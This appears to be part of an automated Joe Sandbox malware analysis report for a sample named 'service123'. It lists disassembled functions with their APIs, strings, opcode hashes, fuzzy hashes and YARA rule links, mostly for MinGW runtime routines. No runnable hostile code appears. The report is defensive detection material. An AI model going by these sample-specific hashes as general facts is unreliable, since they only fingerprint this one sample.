API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 613df4e831f930cb4af88f834b775a0f211158588608aecd3800d6fd2a3c814e
Instruction ID: ecd9313d9ef785898cb7397e4a655ed9685b4d88b86f9259231e424b1f453945
Opcode Fuzzy Hash: 613df4e831f930cb4af88f834b775a0f211158588608aecd3800d6fd2a3c814e
Instruction Fuzzy Hash: 8DF082B0D5834A4FE310DF28D48177A7BA0BB43315F980894D9941B762D3399499CBE2

Function 6CFFDE50 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

@, xrefs: 6CFFDEB8

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: strlen
String ID: @
API String ID: 39653677-2766056989
Opcode ID: 271ca56afe2a1a62d0fcdd103e21b394226c856d31fb2f2846d810bd8593300f
Instruction ID: 9c0feffdaa4fe44c478ec1a95928ec67b21b03900d550ddc3591f42c9ff7920b
Opcode Fuzzy Hash: 271ca56afe2a1a62d0fcdd103e21b394226c856d31fb2f2846d810bd8593300f
Instruction Fuzzy Hash: E621967190425DCADB20DF54DC84BDD77B8EB46319F1045A6C928AB660EB309A8ACF80

Function 6CFFDA90 Relevance: 22.6, APIs: 15, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 57a146ab6bc08d8d911df8246f8070c9b2b20bc9fc5e6e9781cd57da213326a1
Instruction ID: c5383c707fc3e0d1026bb3528b545eb2e4de4943e3e5cbc1676ec413b44d2976
Opcode Fuzzy Hash: 57a146ab6bc08d8d911df8246f8070c9b2b20bc9fc5e6e9781cd57da213326a1
Instruction Fuzzy Hash: 5F414B75A042199BDB10CF64C880BDEB7F1FF89318F1489A9D919A7721D730AE85CF91

Function 6CFFDCE0 Relevance: 21.1, APIs: 14, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 730b82d2da7bc35f9127cbebe574e0472547f7dc119ace965d717b640774afe3
Instruction ID: 35f1512e8f17165c558cb6b8c17cc7a286da817dbe6edcdcc48545eddefe3171
Opcode Fuzzy Hash: 730b82d2da7bc35f9127cbebe574e0472547f7dc119ace965d717b640774afe3
Instruction Fuzzy Hash: DE115E7590421CABCB14DF64C880ADEB7B5EF86358F14C8A4D81967711DB30AE4ACBE0

Function 6CFFDD80 Relevance: 19.6, APIs: 13, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 969a6e84ef485a6d0f87a3e346e8a8000e5877b16e4c634416c9ff8726bfa541
Instruction ID: 9981d55a0c97828d52f0ad71e50e789ab05ff3e24bb3d31e9ce5dba29d5e6efa
Opcode Fuzzy Hash: 969a6e84ef485a6d0f87a3e346e8a8000e5877b16e4c634416c9ff8726bfa541
Instruction Fuzzy Hash: 4F212E74A0421DABCF14DF60C8809DEB7B5EF45348F1588A8D91967751D730AE8ACB91

Function 6D000310 Relevance: 18.2, APIs: 12, Instructions: 165COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,6D0C370F), ref: 6D00034B
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,6D0C370F), ref: 6D000352
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6D0C370F), ref: 6D000360

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: ErrorLast$Value
String ID:
API String ID: 1883355122-0
Opcode ID: 11433d45919d79ef5c663e27236bb31ede4adff18728a4c06118e8c8af218be3
Instruction ID: b30d63442a809bcf73873ee5ac2a4fe25e4e6ee41c21c33064deffb390fcd1e9
Opcode Fuzzy Hash: 11433d45919d79ef5c663e27236bb31ede4adff18728a4c06118e8c8af218be3
Instruction Fuzzy Hash: C2512674A087029FEB11DF6AD98472EB7F9BB86300F55852DD96887210EB70E845CB92

Function 00521940 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 129fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 0052196F
vfprintf.MSVCRT ref: 0052198F
abort.MSVCRT ref: 00521994
VirtualQuery.KERNEL32 ref: 00521A2B

Strings

Address %p has no image-section, xrefs: 00521AEB
Mingw-w64 runtime failure:, xrefs: 00521968
VirtualQuery failed for %d bytes at address %p, xrefs: 00521AD7
VirtualProtect failed with code 0x%x, xrefs: 00521AA6

Memory Dump Source

Source File: 00000009.00000002.5004637014.0000000000521000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00520000, based on PE: true

Associated: 00000009.00000002.5004605534.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004665742.000000000052A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004697656.000000000052E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004728951.0000000000531000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_service123.jbxd

Similarity

API ID: QueryVirtualabortfwritevfprintf
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 2513968241-1534286854
Opcode ID: 28f15b1f4eb8d774aa4a3df6dcc98f0610f83b46c9613411e1e00f7034ea9fc4
Instruction ID: e5c92cbaa086e1d29197097500caaa1e9e8df77dc97c6e37ada02415476f0878
Opcode Fuzzy Hash: 28f15b1f4eb8d774aa4a3df6dcc98f0610f83b46c9613411e1e00f7034ea9fc4
Instruction Fuzzy Hash: AD518CB19047119FD710EF28E88961BFFF0FF96350F45891CE4888B291E734A849CBA6

Function 6CFFA690 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 129fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 6CFFA6BF
vfprintf.MSVCRT ref: 6CFFA6DF
abort.MSVCRT ref: 6CFFA6E4
VirtualQuery.KERNEL32 ref: 6CFFA77B

Strings

Mingw-w64 runtime failure:, xrefs: 6CFFA6B8
VirtualQuery failed for %d bytes at address %p, xrefs: 6CFFA827
VirtualProtect failed with code 0x%x, xrefs: 6CFFA7F6
Address %p has no image-section, xrefs: 6CFFA83B

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: QueryVirtualabortfwritevfprintf
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 2513968241-1534286854
Opcode ID: a5025d3b560b84da3037f91ff757b87d9c9ebf919a4ff4d367eea0f182b7a40a
Instruction ID: de1f929d5738c0874f83104b5a00c287217cd06ecd4de5eca96d85749148b2bd
Opcode Fuzzy Hash: a5025d3b560b84da3037f91ff757b87d9c9ebf919a4ff4d367eea0f182b7a40a
Instruction Fuzzy Hash: A3516CB29083019FD700DF69D98574ABBF0FF85318F55892DE8A88B360E774E446CB92

Function 6CFFE0A0 Relevance: 16.6, APIs: 11, Instructions: 98COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D4C
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D51
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D56
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D5B
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D60
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D65
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6A
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6F
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D74
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D79
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D7E

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 824d7a77e7461582d9f56f25124b8e845fcd07d7828092d63a73b693b6c5c24c
Instruction ID: c9838b4f210b521fe2df319bf21d6d07daee66a2d9973c19e2aef03c4380fe2b
Opcode Fuzzy Hash: 824d7a77e7461582d9f56f25124b8e845fcd07d7828092d63a73b693b6c5c24c
Instruction Fuzzy Hash: F92108333492148BD704CF58D88169773A6EBC632872C81BEE9588BB65D637A807C790

Function 6CFFE570 Relevance: 15.1, APIs: 10, Instructions: 145COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D51
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D56
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D5B
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D60
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D65
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6A
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6F
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D74
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D79
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D7E

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 9dd2c658d3c2cb619c7bf21bb267980a7d57e1b10d09043a9d0bcde5e8cf3aa6
Instruction ID: 98dd007e74abc8105cc0e7438a96d507630f9abb4cd51aa41d40e46e39f6ab60
Opcode Fuzzy Hash: 9dd2c658d3c2cb619c7bf21bb267980a7d57e1b10d09043a9d0bcde5e8cf3aa6
Instruction Fuzzy Hash: AE41C5716583068BD710DF29C08076AB7E2EF91718F548A19E4B487AB5E334D94F8BD2

Function 6CFFE59B Relevance: 15.1, APIs: 10, Instructions: 89COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D51
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D56
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D5B
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D60
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D65
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6A
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6F
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D74
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D79
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D7E

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 602950868eee7070e08be62886ca486b6e553905e997eb949550a7b66955e2bd
Instruction ID: fbbd226a6e00f56d26aa47f7316a9c014d8e909ec9de4757aed62c583c2fef73
Opcode Fuzzy Hash: 602950868eee7070e08be62886ca486b6e553905e997eb949550a7b66955e2bd
Instruction Fuzzy Hash: 1C21F7716053068BD710DE28C08066AB7E2EF41318F648E49E4B487AA5E330D84F8BD2

Function 6CFFE714 Relevance: 15.0, APIs: 10, Instructions: 35COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D51
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D56
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D5B
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D60
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D65
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6A
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6F
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D74
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D79
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D7E

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 9e089e6cd6cd64aa5b62a2a55d0ff6e4215562d1fbf434e16bed1c0db5fcfaf7
Instruction ID: c3fb37272fbe8e38fb74ce12e8e95ea2dd987bddbbd364ad219ecbe21d1c8f91
Opcode Fuzzy Hash: 9e089e6cd6cd64aa5b62a2a55d0ff6e4215562d1fbf434e16bed1c0db5fcfaf7
Instruction Fuzzy Hash: 57E0867159821E8AC611CE28C06069EB7E6EE46348F844846D4F5C7D34E730D94BCBC7

Function 6D009249 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 31libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 6D009260
GetProcAddress.KERNEL32 ref: 6D00927A
LoadLibraryW.KERNEL32 ref: 6D00929F
GetProcAddress.KERNEL32 ref: 6D0092B3

Strings

advapi32.dll, xrefs: 6D009298
rand_s, xrefs: 6D00926F
SystemFunction036, xrefs: 6D0092A8
msvcrt.dll, xrefs: 6D009255

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: SystemFunction036$advapi32.dll$msvcrt.dll$rand_s
API String ID: 384173800-4041758303
Opcode ID: 2fa263e63d00d3cc2ed16f6cb102ff9642dbef72ff68a3443f9d279e39375f1b
Instruction ID: a5bcde110230e927e2c7dfa9efb95f3636d89d2e4d4fe11f3c63d747f41f2197
Opcode Fuzzy Hash: 2fa263e63d00d3cc2ed16f6cb102ff9642dbef72ff68a3443f9d279e39375f1b
Instruction Fuzzy Hash: 59F0F9B58593009BEB00BF79AA4A31EBBF0BB4A710F45492ED4E997204E774D454CBA3

Function 6D08F670 Relevance: 13.7, APIs: 8, Strings: 1, Instructions: 224COMMON

Download Yara Rule

APIs

memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6D06D7DE), ref: 6D08F70D
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6D06D7DE), ref: 6D08F738
memmove.MSVCRT ref: 6D08F787
memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6D06D7DE), ref: 6D08F7BD
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6D06D7DE), ref: 6D08F808

Strings

basic_string::_M_replace, xrefs: 6D08F966

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: memmove$memcpy
String ID: basic_string::_M_replace
API String ID: 3033661859-2323331477
Opcode ID: 30907dec585348fb658f0d9bd71b6c60c417e3ee4479019c04b75f016d307169
Instruction ID: 6d7370f797a2d71a7d36d186c22cd44243e0fddbe4fdff467a616124f8b4203c
Opcode Fuzzy Hash: 30907dec585348fb658f0d9bd71b6c60c417e3ee4479019c04b75f016d307169
Instruction Fuzzy Hash: 84812674A0C3529FEB01CF28C18062EBFE9AFCA644F55886EE4D587316D331D885DB92

Function 6CFFFEE0 Relevance: 13.7, APIs: 9, Instructions: 186synchronizationCOMMON

Download Yara Rule

APIs

CreateSemaphoreW.KERNEL32 ref: 6D0000D2
WaitForSingleObject.KERNEL32 ref: 6D000117

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: CreateObjectSemaphoreSingleWait
String ID:
API String ID: 1168595426-0
Opcode ID: cf561421e6deae5abb799089f7124322aef6369bef642ab9e46d7b79011ad837
Instruction ID: 6622253547e3d086fb1d658e38e2537122af299c4f71612dc254cabc9592b340
Opcode Fuzzy Hash: cf561421e6deae5abb799089f7124322aef6369bef642ab9e46d7b79011ad837
Instruction Fuzzy Hash: CA614970A09306DFFB50DFA9D94436B77F5EB46308F108629E96887390D7B0D946CBA2

Function 6CFFE760 Relevance: 13.6, APIs: 9, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
